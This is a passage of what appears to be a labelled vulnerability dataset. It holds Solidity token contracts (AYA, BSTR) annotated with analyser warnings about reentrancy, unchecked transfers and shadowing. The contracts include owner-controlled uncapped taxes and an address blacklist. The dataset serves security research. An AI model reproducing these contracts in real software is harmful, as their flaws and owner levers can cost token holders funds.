= 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f7d0a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f7d0a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 15cd5dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 15cd5dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5f7d0a8\n\t\t// reentrancy-benign | ID: 15cd5dd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5f7d0a8\n\t\t// reentrancy-benign | ID: 15cd5dd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 15cd5dd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5f7d0a8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3c22093): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3c22093: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a3bd86f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a3bd86f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5040cc9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5040cc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 3c22093\n\t\t\t\t// reentrancy-eth | ID: a3bd86f\n\t\t\t\t// reentrancy-eth | ID: 5040cc9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3c22093\n\t\t\t\t\t// reentrancy-eth | ID: a3bd86f\n\t\t\t\t\t// reentrancy-eth | ID: 5040cc9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a3bd86f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a3bd86f\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3c22093\n\t\t\t\t// reentrancy-eth | ID: 5040cc9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3c22093\n\t\t\t\t\t// reentrancy-eth | ID: 5040cc9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5040cc9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3c22093\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5040cc9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5040cc9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3c22093\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3c22093\n\t\t// reentrancy-events | ID: 5f7d0a8\n\t\t// reentrancy-benign | ID: 15cd5dd\n\t\t// reentrancy-eth | ID: a3bd86f\n\t\t// reentrancy-eth | ID: 5040cc9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fd10e07): Missing events for critical arithmetic parameters.\n\t// Recommendation for fd10e07: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: fd10e07\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: fd10e07\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: fd10e07\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: fd10e07\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: fd10e07\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fdf23fa): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for fdf23fa: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: fdf23fa\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3c22093\n\t\t// reentrancy-events | ID: 5f7d0a8\n\t\t// reentrancy-eth | ID: a3bd86f\n\t\t// reentrancy-eth | ID: 5040cc9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8f42bd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8f42bd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 570b100): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 570b100: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9b1026d): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9b1026d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 248527f): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 248527f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4aa7338): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4aa7338: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8f42bd7\n\t\t// reentrancy-benign | ID: 570b100\n\t\t// reentrancy-eth | ID: 4aa7338\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8f42bd7\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 8f42bd7\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 570b100\n\t\t// unused-return | ID: 248527f\n\t\t// reentrancy-eth | ID: 4aa7338\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 570b100\n\t\t// unused-return | ID: 9b1026d\n\t\t// reentrancy-eth | ID: 4aa7338\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 570b100\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4aa7338\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 570b100\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10165.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BSTR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5e104e5): BSTR._taxWallet should be immutable \n\t// Recommendation for 5e104e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 998a212): BSTR._initialBuyTax should be constant \n\t// Recommendation for 998a212: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1f0dd4): BSTR._initialSellTax should be constant \n\t// Recommendation for b1f0dd4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1065208): BSTR._reduceBuyTaxAt should be constant \n\t// Recommendation for 1065208: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1798a60): BSTR._reduceSellTaxAt should be constant \n\t// Recommendation for 1798a60: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec709f6): BSTR._preventSwapBefore should be constant \n\t// Recommendation for ec709f6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bitcoin Strategy 2100\";\n\n string private constant _symbol = unicode\"₿STR\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58be3cb): BSTR._taxSwapThreshold should be constant \n\t// Recommendation for 58be3cb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe8cdd9): BSTR._maxTaxSwap should be constant \n\t// Recommendation for fe8cdd9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x3FA3CA2945385df603708c864Ab405bC067C24f6);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de7390e): BSTR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for de7390e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 750305b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 750305b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ca9b9a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ca9b9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 750305b\n\t\t// reentrancy-benign | ID: 3ca9b9a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 750305b\n\t\t// reentrancy-benign | ID: 3ca9b9a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b634f1a): BSTR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b634f1a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3ca9b9a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 750305b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 649fc0e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 649fc0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4d3bc31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4d3bc31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 649fc0e\n\t\t\t\t// reentrancy-eth | ID: 4d3bc31\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 649fc0e\n\t\t\t\t\t// reentrancy-eth | ID: 4d3bc31\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4d3bc31\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4d3bc31\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4d3bc31\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 649fc0e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4d3bc31\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4d3bc31\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 649fc0e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 750305b\n\t\t// reentrancy-events | ID: 649fc0e\n\t\t// reentrancy-benign | ID: 3ca9b9a\n\t\t// reentrancy-eth | ID: 4d3bc31\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 750305b\n\t\t// reentrancy-events | ID: 649fc0e\n\t\t// reentrancy-eth | ID: 4d3bc31\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 352a72c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 352a72c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e0296cb): BSTR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e0296cb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19b3c9a): BSTR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 19b3c9a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c07c8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c07c8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 352a72c\n\t\t// reentrancy-eth | ID: 2c07c8b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n 